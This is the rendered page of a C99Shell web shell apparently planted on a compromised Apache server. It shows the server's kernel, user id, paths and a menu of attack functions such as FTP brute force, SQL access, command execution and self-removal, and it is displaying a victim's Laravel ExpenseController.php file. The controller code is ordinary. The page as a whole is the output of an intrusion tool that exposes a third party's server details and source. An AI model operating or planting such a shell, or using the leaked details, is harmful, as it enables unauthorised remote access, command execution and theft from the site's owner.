!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/app/Http/Controllers/   drwxrwxr-x
Free 12.98 GB of 57.97 GB (22.39%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ExpenseController.php (5.29 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Expense;
use 
App\Models\Project;
use 
App\Models\Utility;
use 
App\Models\ActivityLog;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Validator;

class 
ExpenseController extends Controller
{
    public function 
index($project_id)
    {
        if(
\Auth::user()->can('manage expense'))
        {
            
$project     Project::find($project_id);
            
$amount      $project->expense->sum('amount');
            
$expense_cnt Utility::projectCurrencyFormat($project_id$amount) . '/' Utility::projectCurrencyFormat($project_id$project->budget);

            return 
view('expenses.index'compact('project''expense_cnt'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
create($project_id)
    {
        if(
\Auth::user()->can('create expense'))
        {
            
$project Project::find($project_id);

            return 
view('expenses.create'compact('project'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
store(Request $request$project_id)
    {
        if(
\Auth::user()->can('create expense'))
        {
            
$usr       \Auth::user();
            
$validator Validator::make(
                
$request->all(), [
                                
'name' => 'required|max:120',
                                
'amount' => 'required|numeric|min:0',
                            ]
            );

            if(
$validator->fails())
            {
                return 
redirect()->back()->with('error'Utility::errorFormat($validator->getMessageBag()));
            }

            
$post               $request->all();
            
$post['project_id'] = $project_id;
            
$post['date']       = (!empty($request->date)) ? date("Y-m-d H:i:s"strtotime($request->start_date)): null;
            
$post['created_by'] = $usr->id;

            if(
$request->hasFile('attachment'))
            {
                
$fileNameToStore    time() . '.' $request->attachment->getClientOriginalExtension();
                
$path               $request->file('attachment')->storeAs('expense'$fileNameToStore);
                
$post['attachment'] = $path;
            }

            
$expense Expense::create($post);

            
// Make entry in activity log
            
ActivityLog::create(
                [
                    
'user_id' => $usr->id,
                    
'project_id' => $project_id,
                    
'log_type' => 'Create Expense',
                    
'remark' => json_encode(['title' => $expense->name]),
                ]
            );

            return 
redirect()->back()->with('success'__('Expense added successfully.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
edit($project_id$expense_id)
    {
        if(
\Auth::user()->can('edit expense'))
        {
            
$project Project::find($project_id);
            
$expense Expense::find($expense_id);

            return 
view('expenses.edit'compact('project''expense'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
update(Request $request$project_id$expense_id)
    {
        if(
\Auth::user()->can('edit expense'))
        {
            
$validator Validator::make(
                
$request->all(), [
                                
'name' => 'required|max:120',
                                
'amount' => 'required|numeric|min:0',
                            ]
            );

            if(
$validator->fails())
            {
                return 
redirect()->back()->with('error'Utility::errorFormat($validator->getMessageBag()));
            }

            
$expense Expense::find($expense_id);
            
$expense->name $request->name;
            
$expense->date date("Y-m-d H:i:s"strtotime($request->date));
            
$expense->amount =$request->amount;
            
$expense->task_id $request->task_id;
            
$expense->description $request->description;

            if(
$request->hasFile('attachment'))
            {
                
Utility::checkFileExistsnDelete([$expense->attachment]);

                
$fileNameToStore    time() . '.' $request->attachment->extension();
                
$path =  $request->file('attachment')->storeAs('expense'$fileNameToStore);
                
$expense->attachment $path;
            }

            
$expense->save();

            return 
redirect()->back()->with('success'__('Expense Updated successfully.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
destroy($expense_id)
    {
        if(
\Auth::user()->can('delete expense'))
        {
            
$expense Expense::find($expense_id);
            
Utility::checkFileExistsnDelete([$expense->attachment]);
            
$expense->delete();

            return 
redirect()->back()->with('success'__('Expense Deleted successfully.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--